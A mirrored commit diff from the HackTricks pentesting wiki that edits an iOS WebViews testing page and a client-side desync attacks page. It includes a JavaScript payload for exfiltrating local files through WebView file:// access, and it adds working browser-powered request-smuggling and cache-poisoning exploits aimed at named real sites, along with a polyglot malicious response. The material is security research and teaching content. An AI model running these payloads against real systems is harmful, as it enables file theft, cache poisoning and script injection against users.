1
2
Fork 0
mirror of https://github.com/carlospolop/hacktricks.git synced 2023-12-14 19:12:55 +01:00

GitBook: [#3420] No subject

This commit is contained in:
CPol 2022-08-22 23:31:50 +00:00 committed by gitbook-bot
parent 1a4e244067
commit 54d909dcb9
No known key found for this signature in database
GPG key ID: 07D2180C7B12D0FF
7 changed files with 87 additions and 28 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 5.6 KiB

After

Width:  |  Height:  |  Size: 74 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 74 KiB

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 16 KiB

After

Width:  |  Height:  |  Size: 189 KiB

View file

@ -30,7 +30,7 @@ You can **select the architecture** inside Visual Studio in the **left "Build" T
Then, build both projects (Build -> Build Solution) (Inside the logs will appear the path of the executable):
![](<../.gitbook/assets/image (1) (2).png>)
![](<../.gitbook/assets/image (1) (2) (1).png>)
## Prepare the Backdoor

View file

@ -1,4 +1,4 @@
# iOS WebViews
<details>
@ -16,8 +16,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
</details>
# WebViews types
## WebViews types
WebViews are in-app browser components for displaying interactive **web** **content**. They can be used to embed web content directly into an app's user interface. iOS WebViews **support** **JavaScript** execution **by default**, so script injection and Cross-Site Scripting attacks can affect them.
@ -33,16 +32,16 @@ WebViews are in-app browser components for displaying interactive **web** **cont
* An Action ("**Share**") **button**.
* A **Done button**, back and forward navigation buttons, and a "Safari" button to open the page directly in Safari.
![](https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc\_%2F-Lf1AQxr7FPsOyPFSGcs%2Fsfsafariviewcontroller.png?alt=media)
<img src="https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc_%2F-Lf1AQxr7FPsOyPFSGcs%2Fsfsafariviewcontroller.png?alt=media" alt="" data-size="original">
* **JavaScript cannot be disabled** in `SFSafariViewController` and this is one of the reasons why the usage of `WKWebView` is recommended when the goal is extending the app's user interface.
* `SFSafariViewController` also **shares cookies** and other website data with **Safari**.
* The user's activity and interaction with a `SFSafariViewController` are **not visible to the app**, which cannot access AutoFill data, browsing history, or website data.
* According to the App Store Review Guidelines, `SFSafariViewController`s **may not be hidden or obscured by other views or layers**.
# Discovering WebViews Configuration
## Discovering WebViews Configuration
## Static Analysis
### Static Analysis
**UIWebView**
@ -73,7 +72,7 @@ $ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
0x6c3fa 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO
```
### Testing JavaScript Configuration
#### Testing JavaScript Configuration
For `WKWebView`s, as a best practice, JavaScript should be disabled unless it is explicitly required. To verify that JavaScript was properly disabled search the project for usages of `WKPreferences` and ensure that the [`javaScriptEnabled`](https://developer.apple.com/documentation/webkit/wkpreferences/1536203-javascriptenabled) property is set to `false`:
@ -90,7 +89,7 @@ $ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
392 0x0002f2d9 0x10002f2d9 21 22 (4.__TEXT.__objc_methname) ascii setJavaScriptEnabled
```
### Testing OnlySecureContent
#### Testing OnlySecureContent
In contrast to `UIWebView`s, when using `WKWebView`s it is possible to detect [mixed content](https://developers.google.com/web/fundamentals/security/prevent-mixed-content/fixing-mixed-content?hl=en) (HTTP content loaded from a HTTPS page). By using the method [`hasOnlySecureContent`](https://developer.apple.com/documentation/webkit/wkwebview/1415002-hasonlysecurecontent) it can be verified whether all resources on the page have been loaded through securely encrypted connections.\
In the compiled binary:
@ -101,7 +100,7 @@ $ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
You can also search in the source code or strings the string "http://". However, this doesn't necessary means that there is a mixed content issue. Learn more about mixed content in the [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/Security/Mixed\_content).
## Dynamic Analysis
### Dynamic Analysis
It's possible to inspect the heap via `ObjC.choose()` to find instances of the different types of WebViews and also search for the properties `javaScriptEnabled` and `hasonlysecurecontent`:
@ -162,7 +161,7 @@ onMatch: <WKWebView: 0x1508b1200; frame = (0 0; 320 393); layer = <CALayer: 0x1
hasOnlySecureContent: false
```
# WebView Protocol Handling
## WebView Protocol Handling
Several default schemes are available that are being interpreted in a WebView on iOS, for example:
@ -172,10 +171,10 @@ Several default schemes are available that are being interpreted in a WebView on
WebViews can load remote content from an endpoint, but they can also load local content from the app data directory. If the local content is loaded, the user shouldn't be able to influence the filename or the path used to load the file, and users shouldn't be able to edit the loaded file.
## WebView content load
### WebView content load
* **UIWebView**: It can use deprecated methods [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617979-loadhtmlstring?language=objc) or [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617941-loaddata?language=objc)to load content.
* **WKWebView**: It can use the methods [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415004-loadhtmlstring?language=objc) or [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415011-loaddata?language=objc) to load local HTML files and `loadRequest:` for web content. Typically, the local files are loaded in combination with methods including, among others: [`pathForResource:ofType:`](https://developer.apple.com/documentation/foundation/nsbundle/1410989-pathforresource), [`URLForResource:withExtension:`](https://developer.apple.com/documentation/foundation/nsbundle/1411540-urlforresource?language=objc) or [`init(contentsOf:encoding:)`](https://developer.apple.com/documentation/swift/string/3126736-init). In addition, you should also verify if the app is using the method [`loadFileURL:allowingReadAccessToURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1414973-loadfileurl?language=objc). Its first parameter is `URL` and contains the URL to be loaded in the WebView, its second parameter `allowingReadAccessToURL` may contain a single file or a directory. If containing a single file, that file will be available to the WebView. However, if it contains a directory, all files on that **directory will be made available to the WebView**. Therefore, it is worth inspecting this and in case it is a directory, verifying that no sensitive data can be found inside it.
* **WKWebView**: It can use the methods [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415004-loadhtmlstring?language=objc) or [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415011-loaddata?language=objc) to load local HTML files and `loadRequest:` for web content. Typically, the local files are loaded in combination with methods including, among others: [`pathForResource:ofType:`](https://developer.apple.com/documentation/foundation/nsbundle/1410989-pathforresource), [`URLForResource:withExtension:`](https://developer.apple.com/documentation/foundation/nsbundle/1411540-urlforresource?language=objc) or [`init(contentsOf:encoding:)`](https://developer.apple.com/documentation/swift/string/3126736-init). In addition, you should also verify if the app is using the method [`loadFileURL:allowingReadAccessToURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1414973-loadfileurl?language=objc). Its first parameter is `URL` and contains the URL to be loaded in the WebView, its second parameter `allowingReadAccessToURL` may contain a single file or a directory. If containing a single file, that file will be available to the WebView. However, if it contains a directory, all files on that **directory will be made available to the WebView**. Therefore, it is worth inspecting this and in case it is a directory, verifying that no sensitive data can be found inside it.
If you have the source code you can search for those methods. Having the **compiled** **binary** you can also search for these methods:
@ -184,7 +183,7 @@ $ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
```
## File Access
### File Access
* **UIWebView:**
* The `file://` scheme is always enabled.
@ -256,7 +255,7 @@ hasOnlySecureContent: false
allowUniversalAccessFromFileURLs: 0
```
### Exfiltrate arbitrary files
#### Exfiltrate arbitrary files
```javascript
//For some reason this payload doesn't work!!
@ -283,7 +282,7 @@ xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-40
xhr.send(null);
```
# Native Methods Exposed Through WebViews
## Native Methods Exposed Through WebViews
Since iOS 7, Apple introduced APIs that allow **communication between the JavaScript runtime in the WebView and the native** Swift or Objective-C objects.
@ -302,7 +301,7 @@ In Objective-C, the `JSContext` associated with a `UIWebView` is obtained as fol
JavaScript code in a **`WKWebView` can still send messages back to the native app but in contrast to `UIWebView`, it is not possible to directly reference the `JSContext`** of a `WKWebView`. Instead, communication is implemented using a messaging system and using the `postMessage` function, which automatically serializes JavaScript objects into native Objective-C or Swift objects. Message handlers are configured using the method [`add(_ scriptMessageHandler:name:)`](https://developer.apple.com/documentation/webkit/wkusercontentcontroller/1537172-add).
## Enabling JavascriptBridge
### Enabling JavascriptBridge
```swift
func enableJavaScriptBridge(_ enabled: Bool) {
@ -317,7 +316,7 @@ func enableJavaScriptBridge(_ enabled: Bool) {
}
```
## Sending Message
### Sending Message
Adding a script message handler with name `"name"` (or `"javaScriptBridge"` in the example above) causes the JavaScript function `window.webkit.messageHandlers.myJavaScriptMessageHandler.postMessage` to be defined in all frames in all web views that use the user content controller. It can be then [used from the HTML file like this](https://github.com/authenticationfailure/WheresMyBrowser.iOS/blob/d4e2d9efbde8841bf7e4a8800418dda6bb116ec6/WheresMyBrowser/web/WKWebView/scenario3.html#L33):
@ -347,7 +346,7 @@ For example, in the script below the function **`javascriptBridgeCallBack`** is
</html>
```
## Called Function
### Called Function
The called function resides in [`JavaScriptBridgeMessageHandler.swift`](https://github.com/authenticationfailure/WheresMyBrowser.iOS/blob/b8d4abda4000aa509c7a5de79e5c90360d1d0849/WheresMyBrowser/JavaScriptBridgeMessageHandler.swift#L29):
@ -367,14 +366,14 @@ let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
```
## Testing
### Testing
In order to test send a postMessage inside an application you can:
* Change the servers response (MitM)
* Perform a dynamic instrumentation and inject the JavaScript payload by using frameworks like Frida and the corresponding JavaScript evaluation functions available for the iOS WebViews ([`stringByEvaluatingJavaScriptFromString:`](https://developer.apple.com/documentation/uikit/uiwebview/1617963-stringbyevaluatingjavascriptfrom?language=objc) for `UIWebView` and [`evaluateJavaScript:completionHandler:`](https://developer.apple.com/documentation/webkit/wkwebview/1415017-evaluatejavascript?language=objc) for `WKWebView`).
# Debugging iOS WebViews
## Debugging iOS WebViews
(Tutorial from [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
@ -402,12 +401,11 @@ With those limitations in mind, here are the steps to remotely debug a webview i
![Safari Web Inspector window](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-inspector.jpg)
# References
## References
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
@ -423,5 +421,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>

View file

@ -49,7 +49,7 @@ Secondly, the request must be **triggerable in a web-browser cross-domain**. Bro
The way to test this missconfig is to **send 2 requests and smuggle one** in the **middle**. If the **smuggled** connection **affected** the response of the **second** **request**, it means that it's **vulnerable**:
![](<../../.gitbook/assets/image (1).png>)
![](<../../.gitbook/assets/image (1) (2).png>)
{% hint style="warning" %}
Note that you **cannot** test this vuln by just sending a **Content-Length bigger** than the one sent and **looking for a timeout** because some servers **respond** even if they **didn't receive the whole body**.
@ -83,7 +83,7 @@ I've set the fetch mode **'no-cors'** to ensure Chrome **displays the connection
When you execute this, you should see **two requests** in the Network tab with the **same connection ID**, and the **second** one should trigger a **404**:
![](../../.gitbook/assets/image.png)
![](<../../.gitbook/assets/image (1).png>)
If this works as expected, congratulations - you've found yourself a client-side desync!
@ -101,7 +101,7 @@ The simplest path to a successful attack came from two key techniques usually us
### Stacked HEAD example
* Coloured exploit
* **Coloured exploit**
![](<../../.gitbook/assets/image (2).png>)
@ -130,8 +130,71 @@ Explanation:
### **Host header redirect + client-side cache poisoning**
* **JS exploit**
```javascript
fetch('https://redacted/', {
method: 'POST',
body: "GET /+webvpn+/ HTTP/1.1\r\nHost: x.psres.net\r\nX: Y",
credentials: 'include'}
).catch(() => { location='https://redacted/+CSCOE+/win.js' })
```
* A request to `/+webvpn+/` with a **different domain in the Host header** is answered with a **redirect** to `/+webvpn+/index.html` to that **domain** inside the Host header.
* The location in the **second** request is set to `/+CSCOE+/win.js` in order to **poison** the **cache** of that `.js` file.
* This request will be answered with the redirect of `/+webvpn+/` to the attackers domain with path`/+webvpn+/index.html`
* The **cache** of **`win.js`** will be **poisoned** with a **redirect** to the **attackers** page, but also the **victim** will **follow** the redirect as it was assigned in the `location` variable and will end in the attackers web page.
* The attacker will then **redirect** the **victim** to `https://redacted/+CSCOE+/logon.html`. This page will import `/+CSCOE+/win.js`. Whose **cache is a redirect** to the **attackers** server, therefore, the attacker can **respond with a malicious JS**.
The **victim** will **access** the page of the **attacker** **twice**, the first one it **expects a HTML** that redirect the victim back to `https://redacted/+CSCOE+/logon.html` and the second one it **expects javascript code** (the payload). A polyglot can be used to serve both responses in just one:
```
HTTP/1.1 200 OK
Content-Type: text/html
alert('oh dear')/*<script>location = 'https://redacted/+CSCOE+/logon.html'</script>*/
```
### HEAD payload with chunked TE
When looking for CSD you can also **test semi-malformed** URLs like `/..%2f` or `/%2f`.
* **Coloured Exploit**
![](../../.gitbook/assets/image.png)
* **JS Exploit**
```javascript
fetch('https://www.verisign.com/%2f', {
method: 'POST',
body: `HEAD /assets/languagefiles/AZE.html HTTP/1.1\r\nHost: www.verisign.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n34d\r\nx`,
credentials: 'include',
headers: {'Content-Type': 'application/x-www-form-urlencoded'
}}).catch(() => {
let form = document.createElement('form')
form.method = 'POST'
form.action = 'https://www.verisign.com/robots.txt'
form.enctype = 'text/plain'
let input = document.createElement('input')
input.name = '0\r\n\r\nGET /<svg/onload=alert(1)> HTTP/1.1\r\nHost: www.verisign.com\r\n\r\nGET /?aaaaaaaaaaaaaaa HTTP/1.1\r\nHost: www.verisign.com\r\n\r\n'
input.value = ''
form.appendChild(input)
document.body.appendChild(form)
form.submit()
}
```
* The page **`/%2f`** is accessed to **exploit** the **CL.0** vulnerability.
* A **HEAD** request is smuggled using a **`Transfer-Encoding: chunked` header**.
* This header is needed in this scenario because otherwise the **server refused to accept a HEAD request with a body**.
* Then, the user sends a POST whose body contains the **end chunk of the the previous HEAD** request and a **new request that is smuggled** with **content** (the JS payload) that will be **reflected** in the response.
* Therefore the browser will treat the **response to the HEAD** request as the **response to the POST request** which will also **contains** in the **body** response that **reflects** the **input** of the user in the second smuggled request.
## **References**
* All the information of this post was taken from [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>